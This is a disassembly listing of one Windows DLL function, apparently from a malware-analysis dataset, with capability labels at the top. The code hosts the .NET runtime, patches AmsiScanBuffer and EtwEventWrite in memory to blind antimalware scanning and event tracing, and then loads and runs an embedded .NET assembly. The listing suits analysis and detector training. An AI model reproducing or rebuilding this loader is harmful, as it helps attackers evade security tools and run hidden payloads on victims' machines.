Function at 0x1800021d8
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Load windows common language runtime
Patch antimalware scan interface function
Patch event tracing for windows function

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0x90
xor r12d, r12d
mov qword [rbp - 0x41], r12
mov qword [rbp - 0x49], r12
mov qword [rbp - 0x39], r12
lea ecx, [r12 + 0x18]
call fcn.180002498
lea r15d, [r12 + 1]
mov rdi, rax
test rax, rax
je 0x1800019b2
lea rcx, str.Program
mov qword [rax + 8], r12
mov dword [rax + 0x10], r15d
call fcn.1800031b0
mov qword [rdi], rax
jmp 0x1800019b5
mov rdi, r12
test rdi, rdi
je 0x180001ff6
mov ecx, SafeArrayCopy
mov qword [rbp - 0x19], r12
call fcn.180002498
mov rbx, rax
test rax, rax
je 0x1800019ed
lea rcx, str.Program
mov qword [rax + 8], r12
mov dword [rax + 0x10], r15d
call fcn.1800031b0
mov qword [rbx], rax
jmp 0x1800019f0
mov rbx, r12
test rbx, rbx
je 0x180001ff6
lea rcx, str.mscoree.dll
mov qword [rbp - 0x21], r12
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.CLRCreateInstance
mov qword [rbp - 0x31], r12
mov rcx, rax
mov qword [rbp - 0x29], r12
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180001a96
lea r8, [rbp - 0x31]
lea rdx, [0x18001eb28]
lea rcx, [0x18001eb68]
call rax
test eax, eax
js 0x180001a96
mov rcx, qword [rbp - 0x31]
lea r9, [rbp - 0x29]
lea r8, [0x18001eb78]
lea rdx, str.v4.0.30319
mov rax, qword [rcx]
call qword [rax + SafeArrayCopy]
test eax, eax
js 0x180001a96
mov rcx, qword [rbp - 0x29]
lea rdx, [rbp + 0x67]
mov rax, qword [rcx]
call qword [rax + 0x50]
test eax, eax
js 0x180001a96
cmp dword [rbp + 0x67], r12d
je 0x180001a96
mov rcx, qword [rbp - 0x29]
lea r9, [rbp - 0x41]
lea r8, [0x18001eb38]
lea rdx, [0x18001eb58]
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rcx, qword [rbp - 0x31]
test rcx, rcx
je 0x180001aa9
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov qword [rbp - 0x31], r12
mov rcx, qword [rbp - 0x29]
test rcx, rcx
je 0x180001ab8
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
test rsi, rsi
je 0x180001ed8
mov rcx, qword [rbp - 0x41]
mov rax, qword [rcx]
call qword [rax + 0x50]
test eax, eax
js 0x180001ed8
mov rcx, qword [rbp - 0x49]
test rcx, rcx
je 0x180001ae2
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rbp - 0x41]
lea rdx, [rbp - 0x49]
mov rax, qword [rcx]
call qword [rax + 0x68]
test eax, eax
js 0x180001ed8
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.1800066c4
mov rsi, r12
lea r14, [0x180023df0]
call fcn.180006698
mov r8d, eax
mov eax, 0x51eb851f
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x19
sub r8d, ecx
add r8w, 0x41
mov word [rsi + r14], r8w
add rsi, 2
cmp rsi, 0x1e
jb 0x180001b0f
mov rcx, qword [rbp - 0x49]
test rcx, rcx
je 0x180001b52
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rbp - 0x41]
lea r9, [rbp - 0x49]
mov qword [rbp - 0x49], r12
xor r8d, r8d
mov rdx, r14
mov rax, qword [rcx]
call qword [rax + 0x60]
test eax, eax
jns 0x180001b97
mov rcx, qword [rbp - 0x49]
test rcx, rcx
je 0x180001b7d
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rbp - 0x41]
lea rdx, [rbp - 0x49]
mov qword [rbp - 0x49], r12
mov rax, qword [rcx]
call qword [rax + 0x68]
test eax, eax
js 0x180001ed8
mov rsi, qword [rbp - 0x49]
test rsi, rsi
je 0x180001feb
mov rcx, qword [rbp - 0x39]
test rcx, rcx
je 0x180001bb3
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rax, qword [rsi]
lea r8, [rbp - 0x39]
lea rdx, [0x18001eb48]
mov rcx, rsi
call qword [rax]
test eax, eax
js 0x180001ed8
mov rax, qword [0x180022a80]
cmp rax, 4
jb 0x180002012
add rax, 0xfffffffffffffffc
lea rcx, [0x180022a70]
cmp rax, r15
lea rdx, [0x18001eaf8]
mov rsi, r15
cmovb rsi, rax
cmp qword [reloc.OLEAUT32.dll_SafeArrayDestroy], 0x10
mov r8, rsi
cmovae rcx, qword [0x180022a70]
cmp rsi, r15
cmova r8, r15
add rcx, 4
call fcn.18000f6e0
test eax, eax
jne 0x180001c33
cmp rsi, r15
jne 0x180001c33
mov eax, r12d
test eax, eax
jne 0x180001c33
call fcn.180001744
mov rax, qword [0x180022a60]
cmp rax, 4
jb 0x180002012
add rax, 0xfffffffffffffffc
lea rcx, [0x180022a50]
cmp rax, r15
lea rdx, [0x18001eaf8]
mov rsi, r15
cmovb rsi, rax
cmp qword [reloc.OLEAUT32.dll_SafeArrayDestroy], 0x10
mov r8, rsi
cmovae rcx, qword [0x180022a50]
cmp rsi, r15
cmova r8, r15
add rcx, 4
call fcn.18000f6e0
test eax, eax
jne 0x180001d0d
cmp rsi, r15
jne 0x180001d0d
mov eax, r12d
test eax, eax
jne 0x180001d0d
lea rcx, str.amsi
mov dword [rbp + 0x77], 0x70057b8
mov word [rbp + 0x7b], 0xc380
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x180001d0d
lea rdx, str.AmsiScanBuffer
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
je 0x180001d0d
lea r14d, [r12 + 6]
mov rcx, rax
mov edx, r14d
lea r9, [rbp + 0x6f]
lea r8d, [r12 + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x180001d0d
mov eax, dword [rbp + 0x77]
lea r9, [rbp + 0x7f]
mov dword [rsi], eax
mov edx, r14d
movzx eax, word [rbp + 0x7b]
mov rcx, rsi
mov word [rsi + 4], ax
mov r8d, dword [rbp + 0x6f]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [0x180022a40]
cmp rax, 4
jb 0x180002012
add rax, 0xfffffffffffffffc
lea rcx, [0x180022a30]
cmp rax, r15
lea rdx, [0x18001eaf8]
mov rsi, r15
cmovb rsi, rax
cmp qword [reloc.OLEAUT32.dll_SafeArrayDestroy], 0x10
mov r8, rsi
cmovae rcx, qword [0x180022a30]
cmp rsi, r15
cmova r8, r15
add rcx, 4
call fcn.18000f6e0
test eax, eax
jne 0x180001dc7
cmp rsi, r15
jne 0x180001dc7
mov eax, r12d
test eax, eax
jne 0x180001dc7
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x180001dc7
lea rdx, str.EtwEventWrite
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
je 0x180001dc7
lea r9, [rbp + 0x77]
mov rdx, r15
lea r8d, [r12 + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x180001dc7
mov byte [rsi], 0xc3
lea r9, [rbp - 9]
mov r8d, dword [rbp + 0x77]
mov rdx, r15
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, [rbp + 7]
call fcn.180001110
mov rsi, qword [rbp + 0xf]
lea r8, [rbp - 0x11]
mov r14, qword [rbp + 7]
mov eax, esi
sub eax, r14d
mov dword [rbp - 0xd], r12d
mov ecx, SafeArrayUnlock
mov dword [rbp - 0x11], eax
mov edx, r15d
call qword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov rcx, rax
mov r15, rax
call qword [sym.imp.OLEAUT32.dll_SafeArrayUnlock]
mov rcx, qword [r15 + 0x10]
sub rsi, r14
mov r8, rsi
mov rdx, r14
call fcn.180005e50
mov rcx, r15
call qword [sym.imp.OLEAUT32.dll_SafeArrayAccessData]
mov rsi, qword [rbp - 0x39]
test rsi, rsi
je 0x180001feb
mov rcx, qword [rbp - 0x19]
test rcx, rcx
je 0x180001e39
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rax, qword [rsi]
lea r8, [rbp - 0x19]
mov rdx, r15
mov rcx, rsi
call qword [rax + 0x168]
test eax, eax
js 0x180001e9f
mov rsi, qword [rbp - 0x19]
test rsi, rsi
je 0x180001feb
mov rcx, qword [rbp - 0x21]
test rcx, rcx
je 0x180001e6c
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rax, qword [rsi]
lea r8, [rbp - 0x21]
mov rdx, qword [rbx]
mov rcx, rsi
call qword [rax + 0x88]
test eax, eax
js 0x180001e9f
mov rcx, qword [rbp - 0x21]
mov qword [rbp - 1], rcx
test rcx, rcx
je 0x180001e96
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rcx, [rbp - 1]
call fcn.180002018
test r14, r14
je 0x180001ed8
mov rdx, qword [rbp + 0x17]
mov rax, r14
sub rdx, r14
cmp rdx, 0x1000
jb 0x180001ed0
mov r14, qword [r14 - 8]
add rdx, 0x27
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002001
mov rcx, r14
call fcn.1800028b8
mov rcx, qword [rbp - 0x39]
test rcx, rcx
je 0x180001eeb
mov qword [rbp - 0x39], r12
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rbp - 0x49]
test rcx, rcx
je 0x180002007
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rbp - 0x49]
test rcx, rcx
je 0x180001f11
mov qword [rbp - 0x49], r12
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rbp - 0x41]
test rcx, rcx
je 0x180001f24
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov qword [rbp - 0x41], r12
mov rcx, qword [rbp - 0x21]
test rcx, rcx
je 0x180001f33
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [rbx + 0x10], eax
add eax, esi
jne 0x180001f71
mov rcx, qword [rbx]
test rcx, rcx
je 0x180001f52
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r12
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x180001f64
call fcn.1800028b8
mov qword [rbx + 8], r12
mov edx, SafeArrayCopy
mov rcx, rbx
call fcn.1800028b8
mov rcx, qword [rbp - 0x19]
test rcx, rcx
je 0x180001f80
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov eax, esi
lock xadd dword [rdi + 0x10], eax
add eax, esi
jne 0x180001fbb
mov rcx, qword [rdi]
test rcx, rcx
je 0x180001f9c
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rdi], r12
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x180001fae
call fcn.1800028b8
mov qword [rdi + 8], r12
mov edx, SafeArrayCopy
mov rcx, rdi
call fcn.1800028b8
mov rcx, qword [rbp - 0x39]
test rcx, rcx
je 0x180001fca
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rbp - 0x49]
test rcx, rcx
je 0x180001fd9
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
add rsp, 0x90
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov ecx, 0x80004003
call fcn.1800031a0
int3
mov ecx, 0x8007000e
call fcn.1800031a0
int3
call fcn.180006620
int3
mov ecx, 0x80004003
call fcn.1800031a0
int3
call fcn.1800021e0
int3
jmp 0x18000195c